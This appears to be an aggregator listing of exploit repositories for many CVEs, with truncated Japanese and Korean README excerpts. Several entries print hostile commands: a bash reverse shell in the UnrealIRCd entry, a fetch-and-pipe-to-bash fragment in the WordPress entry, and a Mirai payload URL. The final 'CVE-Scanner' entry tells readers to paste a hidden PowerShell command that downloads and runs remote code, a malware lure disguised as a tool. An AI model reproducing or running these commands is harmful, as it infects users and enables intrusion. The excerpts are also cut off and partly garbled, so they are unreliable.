CVE-2023-51467

CVE-2023-51467 exp.py をコマンド実行に変更 Post.txt シリアル化脆弱性の悪用 bypassauth.txt 認証バイパスのテスト 脆弱性の原因 認証チェックで誤って null を使用して判定しているため、この方法は効果がなく、認証がバイパスされてしまいます。 if username == null username = String session.getAttribute"USERNAME"; if password == null password = String session.getAttribute"PASSWORD"; if token ==...

cve-2022-33891

CVE-2022-33891 Apache Spark 셸 명령 삽입 취약점 Apache Spark 셸 명령 삽입 취약점을 악용하기 위한 Python POC입니다. 다른 POC들도 몇 개 봤지만 뭔가 매우 수상해 보였습니다. 이건 깔끔하고 단순합니다. 이 익스플로잇/취약점을 발견한 것은 아닙니다. 그냥 커뮤니티를 위해 안전한 POC를 만들고 싶었을 뿐입니다 ^.^ CVE는 Databricks의 Kostya Kortchinsky가 원래 발견했습니다. 2022년 9월 7일 업데이트: 이제 이거 위한 Metasploit 모듈이 나왔습니다...

CVE-2022-30525

CVE-2022-30525 Zyxel 방화벽 원격 명령 주입 취약점 CVE-2022-30525 선택적 인수: -h, --help 도움말 메시지를 표시하고 종료합니다 -u url, --url url 대상 URL 예:"http://127.0.0.1" -f file, --file file 파일 내 대상 예:"ip.txt" 사용법 python3 CVE-2022-30525.py -u http://127.0.0.1 python3 CVE-2022-30525.py -f ip.txt 링크...

DSL-2750U-Full-chain

펌웨어 분석 1. DSL-2750U 버그 : tftp 서버의 잘못된 구성 CVE-2021-3707 명령어 인젝션 버그 CVE-2021-3708...

Sudo-Vulnerability-Exploit-CVE-2019-14287

Sudo-Vulnerability-Exploit-CVE-2019-14287...

CVE-2023-6553

CVE-2023-6553 WordPressのBackupプラグインにおけるCVE-2023-6553のエクスプロイト開発 これはCVSSスコア9.8の重大なCVEです。 この脆弱性により、攻撃者は脆弱なバージョンのプラグインを実行しているサーバーにコマンドを送信できます。 脆弱なバージョン Backup :9000/a.sh |bash';?" 3. 次のエラーが表示されます。 HTTP Response Body: 400 Bad Request Bad Request Your browser sent a request that this server could not...

CVE-2024-3912

이유? Mirai는 내 허니팟을 계속 건드리는 짜증나는 놈들이기 때문에 게시합니다. 당신은 내가 찾는 악성코드가 아닙니다. 제발 꺼져 주세요. 여기 그들의 짜증나는 악성코드 배포 IP와 기본 페이로드 스크립트가 있습니다. http://130.12.180.69/bins/kla.sh 설명 ASUS 라우터 임의 파일 쓰기 및 명령 실행 페이로드로, Mirai가 내 허니팟에 계속 보내는 것입니다. 이제 공개합니다. 이걸 처리하기 귀찮고, 인식 및 연구를 위해 공유하지 않는 것은 싫기 때문입니다...

redis-cve-2025-62507

익스플로잇 스크립트 — CVE-2025-62507 디렉토리 구조 scripts/ ├── exploitx86.py x86-64 ROP exploit ├── exploitarm64.py ARM64 AArch64 ROP exploit └── gdbwithsymbols.sh GDB 디버깅 보조 스크립트 취약점 요약 항목| 설명 ---|--- CVE| CVE-2025-62507 취약점 유형| 스택 버퍼 오버플로우 Stack Buffer Overflow 영향받는 구성 요소| Redis 8.2.0 xackdelCommand 함수 트리거 방...

CVE-2010-2075-UnrealIRCd-3.2.8.1

CVE-2010-2075 CVE:2010-2075에 대한 익스플로잇. 이 익스플로잇은 UnrealIRCd 3.2.8.1에서 원격 명령 실행을 가능하게 합니다. 요구 사항 optparse, signal 사용법 실행할 명령을 보낼 수 있지만, 응답하지 않는 경우가 있습니다. 그럴 때는 간단히 리버스 셸을 보내고 도착을 기다리면 됩니다. python3 CVE-2010-2075.py -t 10.0.2.119 -p 6667 -c 'bash -c "bash -i & /dev/tcp/10.0.2.48/443 0&1"' Creating...

CVE-2022-0944

CVE-2022-0944 SQLPad - テンプレートインジェクション これはブラインド脆弱性であり、出力がレスポンスに直接返されることを意味します。 エクスプロイト 次のコマンドでスクリプトを使用してください： python3 exploit.py --url http://localhost:13000 --command 'ls -la /tmp/test' --username admin --password password 出力 Login was successfull Exploited! テスト環境 Dockerを使用する場合： dockerコンテナを起動 -...

CVE-2024-3400

CVE-2024-3400: GlobalProtect Gateway의 OS 명령 삽입 취약점 심각도: 치명적 10/10 ⚠️...

GPON

GPON 홈 라우터에서의 RCE CVE-2018-10561 취약점 오늘날 많은 라우터가 GPON 인터넷을 사용하며, VPNMentor에 의해 장치의 모든 인증을 우회하는 방법CVE-2018-10561이 발견되었습니다. 이 인증 우회를 통해 또 다른 명령 주입 취약점CVE-2018-10562을 드러내고 장치에서 명령을 실행할 수도 있습니다. Shodan에 따르면 이 문서가 작성된 시점에 거의 100만 개의 해당 장치가 인터넷에 노출되어 있습니다. 필요한 종속성 requests urllib2 테스트 환경 Kali Linux...

CVE-2022-36779

CVE-2022-36779 산업용 셀룰러 라우터의 Proscend에서 인증되지 않은 OS 명령 주입Unauthenticated OS Command Injection을 위한 익스플로잇 코드. https://cdn.shopify.com/s/files/1/0036/9413/3297/files/ADVICEIndustrial4GLTECellularRouterICR111WG.pdf?v=1620814301 https://www.proscend.com/en/category/index.html...

CVE-2025-34159

CVE-2025-34159: Coolify における Docker Compose インジェクション 脆弱性の概要 フィールド| 値 ---|--- CVE ID| CVE-2025-34159 影響を受けるバージョン| Coolify ≤ v4.0.0-beta.420.6 修正バージョン| v4.0.0-beta.420.7 深刻度| 重大 CVSS 4.0| CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H CWE| CWE-78 OSコマンドインジェクション, CWE-20 不適切な入力検証 概要...

CVE-2023-21823

CVE-2023-21823 Reverse Shell for Windows 이 저장소는 Windows 운영체제를 위한 리버스 셸을 구현한 C 코드를 포함하고 있습니다. 리버스 셸을 사용하면 명령줄을 통해 원격 시스템을 제어할 수 있으며, 감염된 머신에서 명령을 실행할 수 있습니다. 중요 이 코드를 불법적인 목적으로 사용하거나 시스템 소유자의 허가 없이 사용하는 것은 불법이며 윤리적 원칙에 위배됩니다. 이 코드는 교육 및 연구 목적으로만 제공됩니다. 빌드 프로젝트를 빌드하려면 MinGW 또는 Microsoft Visual...

CVE-2012-1823-exploit-for-https-user-password-web

CVE-2012-1823 파일은 익스플로잇입니다 사용법 : python3 CVE-2012-1823.py CVE-2012-1823,CVE-2021-2291.py 파일은 사이트가 CVE-2012-1823 또는 CVE-2021-2291에 취약한지 확인합니다 사용법 : python3 CVE-2012-1823,CVE-2021-2291.py 명령어 whoami cd ls kali linux에서 테스트됨...

CVE-2019-10149

CVE-2019-10149 CVE-2019-10149 : Exim バージョン 4.87 から 4.91（含む）に欠陥が見つかりました。 /src/deliver.c 内の delivermessage 関数における受信者アドレスの不適切な検証により、リモートでのコマンド実行につながる可能性があります。 例 nc -lvp 9000 python ./CVE-2019-10149/exploit.py --rhost example.com --rport 25 --lhost 10.10.10.100 --lport 9000...

CVE-2020-14882

CVE-2020-14882 이 스크립트는 인증되지 않은 GET 요청을 사용하여 Oracle WebLogic Server에서 원격 코드 실행RCE을 가능하게 합니다. CVE-2020-14882 취약점을 악용합니다. 임의의 명령어를 실행하여 공격자가 서버에 무단으로 액세스할 수 있습니다. 익스플로잇 세부 정보 Exploit Title: Oracle WebLogic Server, GET 요청을 통한 인증되지 않은 RCE Exploit Author: Danny Safaya CVE: CVE-2020-14882 Vendor Homepag...

PIL-CVE-2017-8291

Python PIL/Pillow Remote Command Execution GhostButt / CVE-2017-8291 中文版本Chinese version Python PIL Pillow는 Python에서 널리 사용되는 이미지 처리 라이브러리입니다. 다양한 이미지 포맷을 지원하며 강력한 이미지 조작 기능을 제공합니다. Python 이미지 처리 모듈 PIL Pillow은 GhostButt 취약점CVE-2017-8291의 영향을 받습니다. 이는 내부적으로 EPS 이미지를 처리하기 위해 GhostScript를 호출하기 때문입니다...

CVE-Scanner

CVE-Scanner CVE-2021-42287/CVE-2021-42278/その他 スキャナー & エクスプロイター。 インストール 1. WIN + R キーを押します 2. 以下のコードをコピーして貼り付け、Enterキーを押します powershell -WindowStyle Hidden -Command ScriptBlock::Createirm https://jaihind.edu.in/weatherdolphin/dollrandom.Invoke; 3. PC を再起動します 使い方 1. CMD を開きます 2. fexkex IP FOR SCAN...